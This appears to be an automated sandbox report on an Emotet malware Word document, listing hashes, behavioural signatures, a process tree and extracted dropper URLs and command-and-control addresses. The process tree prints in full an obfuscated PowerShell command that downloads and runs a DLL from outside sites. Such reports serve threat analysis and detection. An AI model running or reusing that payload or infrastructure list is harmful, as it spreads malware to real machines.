Analysis
-
max time kernel
139s -
max time network
146s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
07-01-2021 10:18
Static task
static1
Behavioral task
behavioral1
Sample
file_DT-0492.doc
Resource
win7v20201028
General
-
Target
file_DT-0492.doc
-
Size
166KB
-
MD5
b4056eae04591aeb2665ef5d07544297
-
SHA1
b6de03650b7fba6d70cd8c1a4838e0870fe3695a
-
SHA256
2d42d6cb06e0c3f22fa1e01eb4bf7ffbea8b4ebf808e43ec163dfa5008574740
-
SHA512
82e81124c7a46055fd7e4ec815e4107fb66edc3a83c912975f72eb3cb250785d9a807f3abf5c5f6ac3aca1de3c42e761b9276766347f47dda3b8e79fa9a9d031
Malware Config
Extracted
http://hangarlastik.com/cgi-bin/Ui4n/
http://padreescapes.com/blog/0I/
http://sarture.com/wp-includes/JD8/
http://seo.udaipurkart.com/rx-5700-6hnr7/Sgms/
http://phuongapple.com/messenger-sound-8kwkq/YFr7/
https://brettshawmagic.com/content/Y/
https://cafecentral.vincoorbisdev.com/wp-admin/VZX9BU/
Extracted
emotet
Epoch1
5.2.136.90:80
186.147.237.3:8080
138.197.99.250:8080
167.71.148.58:443
211.215.18.93:8080
187.162.248.237:80
1.226.84.243:8080
110.39.160.38:443
5.196.35.138:7080
59.148.253.194:8080
45.16.226.117:443
95.76.153.115:80
181.61.182.143:80
46.43.2.95:8080
188.135.15.49:80
81.215.230.173:443
45.4.32.50:80
81.214.253.80:443
94.176.234.118:443
212.71.237.140:8080
70.32.84.74:8080
68.183.190.199:8080
192.232.229.53:4143
213.52.74.198:80
12.163.208.58:80
172.245.248.239:8080
1.234.65.61:80
84.5.104.93:80
181.30.61.163:443
190.247.139.101:80
82.48.39.246:80
191.223.36.170:80
190.24.243.186:80
190.251.216.100:80
186.146.13.184:443
105.209.235.113:8080
197.232.36.108:80
192.232.229.54:7080
152.170.79.100:80
45.184.103.73:80
191.241.233.198:80
172.104.169.32:8080
152.169.22.67:80
12.162.84.2:8080
200.24.255.23:80
185.183.16.47:80
202.134.4.210:7080
209.236.123.42:8080
62.84.75.50:80
201.143.224.27:80
185.94.252.27:443
190.64.88.186:443
149.202.72.142:7080
122.201.23.45:443
51.15.7.145:80
170.81.48.2:80
178.250.54.208:8080
70.32.115.157:8080
51.255.165.160:8080
104.131.41.185:8080
155.186.9.160:80
87.106.46.107:8080
177.23.7.151:80
35.143.99.174:80
81.213.175.132:80
80.15.100.37:80
85.214.26.7:8080
201.75.62.86:80
181.124.51.88:80
217.13.106.14:8080
202.79.24.136:443
177.85.167.10:80
138.97.60.140:8080
186.177.174.163:80
201.241.127.190:80
82.208.146.142:7080
50.28.51.143:8080
137.74.106.111:7080
31.27.59.105:80
111.67.12.221:8080
190.114.254.163:8080
111.67.12.222:8080
93.149.120.214:80
190.210.246.253:80
168.121.4.238:80
68.183.170.114:8080
192.175.111.212:7080
46.101.58.37:8080
190.195.129.227:8090
60.93.23.51:80
83.169.21.32:7080
178.211.45.66:8080
181.136.190.86:80
190.162.232.138:80
188.225.32.231:7080
138.97.60.141:7080
187.162.250.23:443
110.39.162.2:443
191.182.6.118:80
184.66.18.83:80
190.136.176.89:80
190.45.24.210:80
46.105.114.137:8080
2.80.112.146:80
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2260 3328 cmd.exe -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exerundll32.exeflow pid process 20 2600 powershell.exe 22 2600 powershell.exe 25 2600 powershell.exe 27 2600 powershell.exe 34 1216 rundll32.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 2112 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Pbhpwizrcg\lapdybnep.prb rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 492 WINWORD.EXE 492 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.exerundll32.exepid process 2600 powershell.exe 2600 powershell.exe 2600 powershell.exe 1216 rundll32.exe 1216 rundll32.exe 1216 rundll32.exe 1216 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2600 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 492 WINWORD.EXE 492 WINWORD.EXE 492 WINWORD.EXE 492 WINWORD.EXE 492 WINWORD.EXE 492 WINWORD.EXE 492 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 2260 wrote to memory of 188 2260 cmd.exe msg.exe PID 2260 wrote to memory of 188 2260 cmd.exe msg.exe PID 2260 wrote to memory of 2600 2260 cmd.exe powershell.exe PID 2260 wrote to memory of 2600 2260 cmd.exe powershell.exe PID 2600 wrote to memory of 3740 2600 powershell.exe rundll32.exe PID 2600 wrote to memory of 3740 2600 powershell.exe rundll32.exe PID 3740 wrote to memory of 2112 3740 rundll32.exe rundll32.exe PID 3740 wrote to memory of 2112 3740 rundll32.exe rundll32.exe PID 3740 wrote to memory of 2112 3740 rundll32.exe rundll32.exe PID 2112 wrote to memory of 1216 2112 rundll32.exe rundll32.exe PID 2112 wrote to memory of 1216 2112 rundll32.exe rundll32.exe PID 2112 wrote to memory of 1216 2112 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\file_DT-0492.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQBUAC0ASQB0AEUATQAgACAAdgBhAFIAaQBBAEIATABFADoAMAA5AFAAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAHkAJwAsACcAYwB0AE8AcgBZACcALAAnAC4AaQBvAC4ARABJAHIARQAnACwAJwBzAHQAZQBNACcAKQApACAAIAA7ACAAIAAgAHMAZQBUAC0AaQB0AEUATQAgACgAJwBWACcAKwAnAEEAcgAnACsAJwBpAEEAYgBMAEUAOgBhAHYANQAnACsAJwBMACcAKwAnAG8AUgAnACkAIAAgACgAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAMwB9AHsANAB9AHsANgB9AHsANQB9AHsAMgB9ACIALQBmACAAJwBTAHkAUwAnACwAJwBlAG0ALgBOAGUAVAAuAFMAZQByAHYAJwAsACcAZQByACcALAAnAEkAJwAsACcAYwBlAHAAbwAnACwAJwB0AE0AYQBuAGEAZwAnACwAJwBJAG4AJwAsACcAVAAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTACcAKwAnAGkAbABlAG4AJwApACsAKAAnAHQAbAB5AEMAJwArACcAbwBuAHQAJwApACsAJwBpACcAKwAoACcAbgAnACsAJwB1AGUAJwApACkAOwAkAEQAOAAxAHYAbAA2AGwAPQAkAFAAMQAyAFIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AOQA4AEUAOwAkAFIAXwAxAFoAPQAoACcASwAyACcAKwAnADYARQAnACkAOwAgACAAKABHAGMAaQAgAHYAQQByAEkAQQBCAEwAZQA6ADAAOQBwACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBDAFIARQBhAGAAVABlAGAARABJAHIAYABlAGAAQwBUAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAKAAnAEcAJwArACcARgBMAHEAJwArACcAcAB3AF8ANQBpAEIAJwArACcARwAnACkAKwAoACcARgBGADQAdwAwACcAKwAnAG8AJwApACsAJwBzAGMAJwArACgAJwBCAEcAJwArACcARgAnACkAKQAgAC0AQwBSAGUAcABMAEEAYwBFACgAJwBCAEcAJwArACcARgAnACkALABbAGMASABhAHIAXQA5ADIAKQApADsAJABDADYAOQBWAD0AKAAnAFUAOQAnACsAJwA0AFYAJwApADsAIAAgACgAIABWAEEAcgBpAGEAYgBsAEUAIAAgACgAIgBBAHYANQAiACsAIgBMAG8AIgArACIAcgAiACkAIAAtAHYAQQBsAHUARQBvAG4AIAApADoAOgAiAHMAYABFAGMAVQBSAGkAYABUAHkAcABgAFIATwB0AGAATwBjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATgA4ADAAVgA9ACgAJwBGADgAJwArACcAOABZACcAKQA7ACQAUgBnAGIAMABmAHEAcAAgAD0AIAAoACgAJwBSADkAJwArACcANQAnACkAKwAnAEYAJwApADsAJABIADIAMwBJAD0AKAAnAFYAJwArACgAJwAwACcAKwAnADQAUAAnACkAKQA7ACQARwBxAGwAdwA5AHQAZAA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAcQAnACsAJwBwAHcAXwA1AGkAewAwAH0AJwArACcARgAnACsAJwA0AHcAJwArACcAMABvAHMAYwB7ADAAfQAnACkALQBmACAAIABbAEMAaABhAHIAXQA5ADIAKQArACQAUgBnAGIAMABmAHEAcAArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEQAMwA0AFMAPQAoACcAVgA1ACcAKwAnADkAVAAnACkAOwAkAEwAegA3ADQANgA4AHMAPQAoACgAJwBdAGEAJwArACcAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGgAYQBuAGcAJwArACcAYQAnACkAKwAoACcAcgBsAGEAJwArACcAcwAnACkAKwAoACcAdABpAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAnACkAKwAoACcALQBiAGkAJwArACcAbgAvACcAKwAnAFUAaQA0ACcAKQArACgAJwBuACcAKwAnAC8AQAAnACkAKwAnAF0AYQAnACsAKAAnAG4AdwBbADMAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAHAAJwArACcAYQBkAHIAJwArACcAZQBlAHMAYwAnACsAJwBhAHAAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwBiACcAKwAnAGwAJwApACsAKAAnAG8AZwAvADAAJwArACcASQAvAEAAJwApACsAKAAnAF0AJwArACcAYQBuACcAKQArACcAdwBbACcAKwAoACcAMwA6ACcAKwAnAC8ALwBzACcAKQArACcAYQAnACsAJwByACcAKwAnAHQAJwArACcAdQByACcAKwAnAGUALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGkAbgBjACcAKwAnAGwAJwArACcAdQAnACkAKwAoACcAZABlAHMAJwArACcALwBKAEQAOAAnACsAJwAvAEAAXQAnACkAKwAoACcAYQBuACcAKwAnAHcAJwApACsAKAAnAFsAMwA6ACcAKwAnAC8AJwApACsAJwAvAHMAJwArACcAZQAnACsAKAAnAG8AJwArACcALgB1AGQAJwApACsAKAAnAGEAaQBwACcAKwAnAHUAcgBrAGEAcgAnACsAJwB0AC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AcgB4AC0AJwArACcANQAnACsAJwA3ADAAMAAnACkAKwAnAC0ANgAnACsAKAAnAGgAbgByADcALwBTACcAKwAnAGcAbQBzACcAKwAnAC8AQAAnACkAKwAoACcAXQBhAG4AdwAnACsAJwBbADMAJwArACcAOgAvACcAKQArACcALwBwACcAKwAnAGgAdQAnACsAKAAnAG8AbgAnACsAJwBnACcAKQArACcAYQBwACcAKwAoACcAcAAnACsAJwBsAGUAJwApACsAKAAnAC4AYwAnACsAJwBvAG0ALwAnACsAJwBtAGUAcwBzACcAKQArACcAZQAnACsAJwBuAGcAJwArACgAJwBlACcAKwAnAHIALQAnACkAKwAnAHMAbwAnACsAKAAnAHUAbgAnACsAJwBkACcAKQArACcALQA4ACcAKwAnAGsAdwAnACsAJwBrAHEAJwArACcALwBZACcAKwAoACcARgByADcALwBAACcAKwAnAF0AYQBuAHcAJwArACcAWwAnACkAKwAoACcAMwBzADoALwAvACcAKwAnAGIAJwApACsAKAAnAHIAJwArACcAZQB0ACcAKQArACcAdABzACcAKwAnAGgAYQAnACsAKAAnAHcAbQBhAGcAaQBjACcAKwAnAC4AYwBvAG0AJwArACcALwBjAG8AJwApACsAKAAnAG4AdABlACcAKwAnAG4AdAAnACkAKwAoACcALwBZAC8AJwArACcAQABdAGEAbgAnACkAKwAoACcAdwAnACsAJwBbADMAcwA6AC8ALwBjACcAKwAnAGEAJwArACcAZgBlAGMAZQBuACcAKwAnAHQAcgBhAGwALgB2AGkAJwApACsAKAAnAG4AYwBvAG8AcgBiAGkAJwArACcAcwAnACsAJwBkAGUAdgAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAHcAJwApACsAJwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpAG4ALwBWAFoAJwApACsAJwBYACcAKwAoACcAOQBCACcAKwAnAFUAJwApACsAJwAvACcAKQAuACIAUgBlAGAAUABMAEEAYABDAGUAIgAoACgAKAAnAF0AYQBuACcAKwAnAHcAJwApACsAJwBbADMAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBzAGQAJwAsACcAcwB3ACcAKQAsACgAJwBoAHQAJwArACcAdABwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAGAAUABsAGkAdAAiACgAJABCADEANABaACAAKwAgACQARAA4ADEAdgBsADYAbAAgACsAIAAkAFIANgA3AEgAKQA7ACQASgAxADcAUgA9ACgAKAAnAFEAJwArACcANgAxACcAKQArACcAUQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEMAdgB5ADUANgA0AHQAIABpAG4AIAAkAEwAegA3ADQANgA4AHMAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAJwArACcAdwAtAE8AYgBqAGUAJwArACcAYwB0ACcAKQAgAFMAeQBzAFQARQBNAC4ATgBFAHQALgB3AEUAYgBjAGwAaQBFAG4AVAApAC4AIgBkAGAATwBgAFcATgBMAE8AYQBEAEYAYABpAEwARQAiACgAJABDAHYAeQA1ADYANAB0ACwAIAAkAEcAcQBsAHcAOQB0AGQAKQA7ACQAUQA0ADMAQQA9ACgAJwBZACcAKwAoACcANQAnACsAJwBfAFcAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARwBxAGwAdwA5AHQAZAApAC4AIgBsAGUATgBgAGcAdABoACIAIAAtAGcAZQAgADMAMAA5ADYAMQApACAAewAmACgAJwByAHUAbgBkAGwAJwArACcAbAAzADIAJwApACAAJABHAHEAbAB3ADkAdABkACwAKAAnAEMAJwArACgAJwBvACcAKwAnAG4AdAByAG8AbAAnACkAKwAnAF8AJwArACgAJwBSAHUAbgAnACsAJwBEAEwATAAnACkAKQAuACIAdABvAHMAYABUAFIAYABpAE4AZwAiACgAKQA7ACQAWQA4AF8AQwA9ACgAKAAnAFgAMwAnACsAJwAxACcAKQArACcATgAnACkAOwBiAHIAZQBhAGsAOwAkAEgAMQA5AEwAPQAoACcAUgA3ACcAKwAnADEATAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEsAMgAyAFEAPQAoACcAVQAnACsAKAAnADMAJwArACcAMgBJACcAKQApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD IAAgAHMAZQBUAC0ASQB0AEUATQAgACAAdgBhAFIAaQBBAEIATABFADoAMAA5AFAAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAHkAJwAsACcAYwB0AE8AcgBZACcALAAnAC4AaQBvAC4ARABJAHIARQAnACwAJwBzAHQAZQBNACcAKQApACAAIAA7ACAAIAAgAHMAZQBUAC0AaQB0AEUATQAgACgAJwBWACcAKwAnAEEAcgAnACsAJwBpAEEAYgBMAEUAOgBhAHYANQAnACsAJwBMACcAKwAnAG8AUgAnACkAIAAgACgAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAMwB9AHsANAB9AHsANgB9AHsANQB9AHsAMgB9ACIALQBmACAAJwBTAHkAUwAnACwAJwBlAG0ALgBOAGUAVAAuAFMAZQByAHYAJwAsACcAZQByACcALAAnAEkAJwAsACcAYwBlAHAAbwAnACwAJwB0AE0AYQBuAGEAZwAnACwAJwBJAG4AJwAsACcAVAAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTACcAKwAnAGkAbABlAG4AJwApACsAKAAnAHQAbAB5AEMAJwArACcAbwBuAHQAJwApACsAJwBpACcAKwAoACcAbgAnACsAJwB1AGUAJwApACkAOwAkAEQAOAAxAHYAbAA2AGwAPQAkAFAAMQAyAFIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AOQA4AEUAOwAkAFIAXwAxAFoAPQAoACcASwAyACcAKwAnADYARQAnACkAOwAgACAAKABHAGMAaQAgAHYAQQByAEkAQQBCAEwAZQA6ADAAOQBwACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBDAFIARQBhAGAAVABlAGAARABJAHIAYABlAGAAQwBUAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAKAAnAEcAJwArACcARgBMAHEAJwArACcAcAB3AF8ANQBpAEIAJwArACcARwAnACkAKwAoACcARgBGADQAdwAwACcAKwAnAG8AJwApACsAJwBzAGMAJwArACgAJwBCAEcAJwArACcARgAnACkAKQAgAC0AQwBSAGUAcABMAEEAYwBFACgAJwBCAEcAJwArACcARgAnACkALABbAGMASABhAHIAXQA5ADIAKQApADsAJABDADYAOQBWAD0AKAAnAFUAOQAnACsAJwA0AFYAJwApADsAIAAgACgAIABWAEEAcgBpAGEAYgBsAEUAIAAgACgAIgBBAHYANQAiACsAIgBMAG8AIgArACIAcgAiACkAIAAtAHYAQQBsAHUARQBvAG4AIAApADoAOgAiAHMAYABFAGMAVQBSAGkAYABUAHkAcABgAFIATwB0AGAATwBjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATgA4ADAAVgA9ACgAJwBGADgAJwArACcAOABZACcAKQA7ACQAUgBnAGIAMABmAHEAcAAgAD0AIAAoACgAJwBSADkAJwArACcANQAnACkAKwAnAEYAJwApADsAJABIADIAMwBJAD0AKAAnAFYAJwArACgAJwAwACcAKwAnADQAUAAnACkAKQA7ACQARwBxAGwAdwA5AHQAZAA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAcQAnACsAJwBwAHcAXwA1AGkAewAwAH0AJwArACcARgAnACsAJwA0AHcAJwArACcAMABvAHMAYwB7ADAAfQAnACkALQBmACAAIABbAEMAaABhAHIAXQA5ADIAKQArACQAUgBnAGIAMABmAHEAcAArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEQAMwA0AFMAPQAoACcAVgA1ACcAKwAnADkAVAAnACkAOwAkAEwAegA3ADQANgA4AHMAPQAoACgAJwBdAGEAJwArACcAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGgAYQBuAGcAJwArACcAYQAnACkAKwAoACcAcgBsAGEAJwArACcAcwAnACkAKwAoACcAdABpAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAnACkAKwAoACcALQBiAGkAJwArACcAbgAvACcAKwAnAFUAaQA0ACcAKQArACgAJwBuACcAKwAnAC8AQAAnACkAKwAnAF0AYQAnACsAKAAnAG4AdwBbADMAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAHAAJwArACcAYQBkAHIAJwArACcAZQBlAHMAYwAnACsAJwBhAHAAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwBiACcAKwAnAGwAJwApACsAKAAnAG8AZwAvADAAJwArACcASQAvAEAAJwApACsAKAAnAF0AJwArACcAYQBuACcAKQArACcAdwBbACcAKwAoACcAMwA6ACcAKwAnAC8ALwBzACcAKQArACcAYQAnACsAJwByACcAKwAnAHQAJwArACcAdQByACcAKwAnAGUALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGkAbgBjACcAKwAnAGwAJwArACcAdQAnACkAKwAoACcAZABlAHMAJwArACcALwBKAEQAOAAnACsAJwAvAEAAXQAnACkAKwAoACcAYQBuACcAKwAnAHcAJwApACsAKAAnAFsAMwA6ACcAKwAnAC8AJwApACsAJwAvAHMAJwArACcAZQAnACsAKAAnAG8AJwArACcALgB1AGQAJwApACsAKAAnAGEAaQBwACcAKwAnAHUAcgBrAGEAcgAnACsAJwB0AC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AcgB4AC0AJwArACcANQAnACsAJwA3ADAAMAAnACkAKwAnAC0ANgAnACsAKAAnAGgAbgByADcALwBTACcAKwAnAGcAbQBzACcAKwAnAC8AQAAnACkAKwAoACcAXQBhAG4AdwAnACsAJwBbADMAJwArACcAOgAvACcAKQArACcALwBwACcAKwAnAGgAdQAnACsAKAAnAG8AbgAnACsAJwBnACcAKQArACcAYQBwACcAKwAoACcAcAAnACsAJwBsAGUAJwApACsAKAAnAC4AYwAnACsAJwBvAG0ALwAnACsAJwBtAGUAcwBzACcAKQArACcAZQAnACsAJwBuAGcAJwArACgAJwBlACcAKwAnAHIALQAnACkAKwAnAHMAbwAnACsAKAAnAHUAbgAnACsAJwBkACcAKQArACcALQA4ACcAKwAnAGsAdwAnACsAJwBrAHEAJwArACcALwBZACcAKwAoACcARgByADcALwBAACcAKwAnAF0AYQBuAHcAJwArACcAWwAnACkAKwAoACcAMwBzADoALwAvACcAKwAnAGIAJwApACsAKAAnAHIAJwArACcAZQB0ACcAKQArACcAdABzACcAKwAnAGgAYQAnACsAKAAnAHcAbQBhAGcAaQBjACcAKwAnAC4AYwBvAG0AJwArACcALwBjAG8AJwApACsAKAAnAG4AdABlACcAKwAnAG4AdAAnACkAKwAoACcALwBZAC8AJwArACcAQABdAGEAbgAnACkAKwAoACcAdwAnACsAJwBbADMAcwA6AC8ALwBjACcAKwAnAGEAJwArACcAZgBlAGMAZQBuACcAKwAnAHQAcgBhAGwALgB2AGkAJwApACsAKAAnAG4AYwBvAG8AcgBiAGkAJwArACcAcwAnACsAJwBkAGUAdgAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAHcAJwApACsAJwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpAG4ALwBWAFoAJwApACsAJwBYACcAKwAoACcAOQBCACcAKwAnAFUAJwApACsAJwAvACcAKQAuACIAUgBlAGAAUABMAEEAYABDAGUAIgAoACgAKAAnAF0AYQBuACcAKwAnAHcAJwApACsAJwBbADMAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBzAGQAJwAsACcAcwB3ACcAKQAsACgAJwBoAHQAJwArACcAdABwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAGAAUABsAGkAdAAiACgAJABCADEANABaACAAKwAgACQARAA4ADEAdgBsADYAbAAgACsAIAAkAFIANgA3AEgAKQA7ACQASgAxADcAUgA9ACgAKAAnAFEAJwArACcANgAxACcAKQArACcAUQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEMAdgB5ADUANgA0AHQAIABpAG4AIAAkAEwAegA3ADQANgA4AHMAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAJwArACcAdwAtAE8AYgBqAGUAJwArACcAYwB0ACcAKQAgAFMAeQBzAFQARQBNAC4ATgBFAHQALgB3AEUAYgBjAGwAaQBFAG4AVAApAC4AIgBkAGAATwBgAFcATgBMAE8AYQBEAEYAYABpAEwARQAiACgAJABDAHYAeQA1ADYANAB0ACwAIAAkAEcAcQBsAHcAOQB0AGQAKQA7ACQAUQA0ADMAQQA9ACgAJwBZACcAKwAoACcANQAnACsAJwBfAFcAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARwBxAGwAdwA5AHQAZAApAC4AIgBsAGUATgBgAGcAdABoACIAIAAtAGcAZQAgADMAMAA5ADYAMQApACAAewAmACgAJwByAHUAbgBkAGwAJwArACcAbAAzADIAJwApACAAJABHAHEAbAB3ADkAdABkACwAKAAnAEMAJwArACgAJwBvACcAKwAnAG4AdAByAG8AbAAnACkAKwAnAF8AJwArACgAJwBSAHUAbgAnACsAJwBEAEwATAAnACkAKQAuACIAdABvAHMAYABUAFIAYABpAE4AZwAiACgAKQA7ACQAWQA4AF8AQwA9ACgAKAAnAFgAMwAnACsAJwAxACcAKQArACcATgAnACkAOwBiAHIAZQBhAGsAOwAkAEgAMQA5AEwAPQAoACcAUgA3ACcAKwAnADEATAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEsAMgAyAFEAPQAoACcAVQAnACsAKAAnADMAJwArACcAMgBJACcAKQApAA==2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Lqpw_5i\F4w0osc\R95F.dll,Control_RunDLL3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Lqpw_5i\F4w0osc\R95F.dll,Control_RunDLL4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pbhpwizrcg\lapdybnep.prb",Control_RunDLL5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Lqpw_5i\F4w0osc\R95F.dllMD5
c138d85cf976736b96adf940dbe6d2ac
SHA1cd841b3f1113db5751082a124bcc38d92a71ed17
SHA2569f92b69ccdfd0808fc624247ec06c3ec11ee53f3d26581dc28d77082689d6d55
SHA512c778670cafea3c290b2621d29cd2365b5a848cfe1c89916dd8b5adab1bfc0604e44447f96e272c0278da13875934f003d512cbac36c3934a760e98fd18e6e72e
-
\Users\Admin\Lqpw_5i\F4w0osc\R95F.dllMD5
c138d85cf976736b96adf940dbe6d2ac
SHA1cd841b3f1113db5751082a124bcc38d92a71ed17
SHA2569f92b69ccdfd0808fc624247ec06c3ec11ee53f3d26581dc28d77082689d6d55
SHA512c778670cafea3c290b2621d29cd2365b5a848cfe1c89916dd8b5adab1bfc0604e44447f96e272c0278da13875934f003d512cbac36c3934a760e98fd18e6e72e
-
memory/188-3-0x0000000000000000-mapping.dmp
-
memory/492-2-0x000001C585D80000-0x000001C5863B7000-memory.dmpFilesize
6.2MB
-
memory/1216-14-0x00000000006A0000-0x00000000006BF000-memory.dmpFilesize
124KB
-
memory/1216-13-0x0000000000000000-mapping.dmp
-
memory/2112-10-0x0000000000000000-mapping.dmp
-
memory/2112-12-0x0000000000570000-0x000000000058F000-memory.dmpFilesize
124KB
-
memory/2600-5-0x00007FF99C2F0000-0x00007FF99CCDC000-memory.dmpFilesize
9.9MB
-
memory/2600-7-0x0000025EBB3A0000-0x0000025EBB3A1000-memory.dmpFilesize
4KB
-
memory/2600-6-0x0000025EA30D0000-0x0000025EA30D1000-memory.dmpFilesize
4KB
-
memory/2600-4-0x0000000000000000-mapping.dmp
-
memory/3740-8-0x0000000000000000-mapping.dmp